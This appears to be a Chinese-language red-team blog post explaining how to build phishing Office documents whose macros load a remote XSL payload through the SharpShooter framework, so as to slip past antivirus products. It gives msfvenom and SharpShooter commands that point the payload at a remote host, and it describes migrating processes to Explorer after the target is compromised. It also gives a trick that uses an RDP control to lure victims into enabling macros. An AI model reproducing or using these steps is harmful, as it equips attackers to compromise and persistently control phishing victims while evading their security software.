加载远程XSL文件的宏免杀方法
前言
“打点越来越难了,社工钓鱼会是最常见的攻击手段,0day会是最有效的攻击手段,物理渗透会是危害最大的攻击手段“。
在钓鱼攻击中木马的形式主要如下:
Office
DLL劫持
假冒加固工具
木马捆绑
通常办公软件Office具有最大的安装量,将文档插入邮件中已经是惯用的工作方式。但是Office常见的攻击方法:
0day
已知CVE漏洞
DDEAUTO
注入执行命令
宏
第一种方法直接跳过,已知的CVE漏洞特征太明显,免杀成本和技术含量太大了。DDEAUTO和注入执行命令直接被杀软限制的很死。最后只能靠宏了,虽然默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知。
通过收集宏免杀的常用的方法和测试,发现加载远程
.xsl
文件可以绕过国内常用的杀软360全家桶和火绒成功上线。
通过收集和测试一些开源的宏免杀的项目,发现了一个很好的项目,国外一个安全团队写的钓鱼框架。其中一个工具就是可以生成一个VBA宏文件,这个宏文件会用XMLDOM去加载远程的.xsl
文件。
具体原理和利用分析见文章:
Macros and More with SharpShooter v2.0
更多的框架利用可以看项目介绍:
项目地址:https://github.com/mdsecactivebreach/SharpShooter
利用测试
生成payload.bin
首先我们可以用Cobalt Strike
或者Metasploit
生成二进制格式的shellcode,即后缀为bin
的文件。
处理payload.bin
然后利用msfvenom
对payload.bin
,因为SharpShooter
要求shellcode中不能含有空字节。
1 | msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b "\x00" |
生成xsl和macro
如下命令生成.xsl
文件和macro
文件:
1 | SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://192.168.0.104:80/foo.xsl |
简单介绍一下上面的几个参数:
- –dotnetver:为目标的.net版本,可选2或者4
- –awlurl: 为xsl存放地址
生成的foo.macro
内容很简单,代码如下:
1 | Sub Auto_Open() |
创建一个对象加载远程的xsl文件。如果需要使函数Auto_Open()
加到AutoOpen()
方法里,这样就可以在打开word文档的时间就能运行宏,具体代码如下:
1 | Sub AutoOpen() |
foo.xsl
文件为SharpShooter
处理后的shellcode。
我们可以把foo.xsl
传到自己的vps或者公共下载网站,然后修改vba代码中的地址即可。再讲vba代码加到word或着excel文档中即可。
进程迁移
office宏加载远程的.xsl
文件有个缺点就是,点击启用宏后word进程会崩掉,如word进程被结束了,Cobalt Strike或者Metasploit会掉线。所以我们要做的是,在目标上线的时候就自动迁移到其他进程上。
处理方法:
- Cobalt Strike:通过插件实现上线后自动迁移进程,Beacon Handler Suite
- Metasploit: 在设置监听的时间可以设置:
set autorunscript migrate -N explorer.exe 或 set autorunscript -f
这样可以实现在word进程被关闭后,得到一个新的会话,即持久的控制目标。
演示视频
引导性处理
为了更好去引导目标启用宏可以如下处理:
第一步:进入开发工具,选择插入控件—其他控件—Microsoft RDP Client Control*
第二步:设置控件属性内的Sever为localhost StartConnection为1,即点开自启动
第三步:插入vba代码
设置完成后,启用宏的提示就变成了部分活动内容已被禁用,启用内容。
这样就更好的去引导目标启用宏了。
总结
“站在巨人的肩膀上”,以上的思路和方法是最近一个星期在github
、twitter
和国内外的安全网站论坛上收集和测试得到的结果。然后自己做的一个总结,有兴趣的师傅可以自己研究SharpShooter
这个项目,并关注我们的微信公众号,后续我们会继续分享一些思路和方法。
Reference
https://www.secquan.org/Discuss/1070836
https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/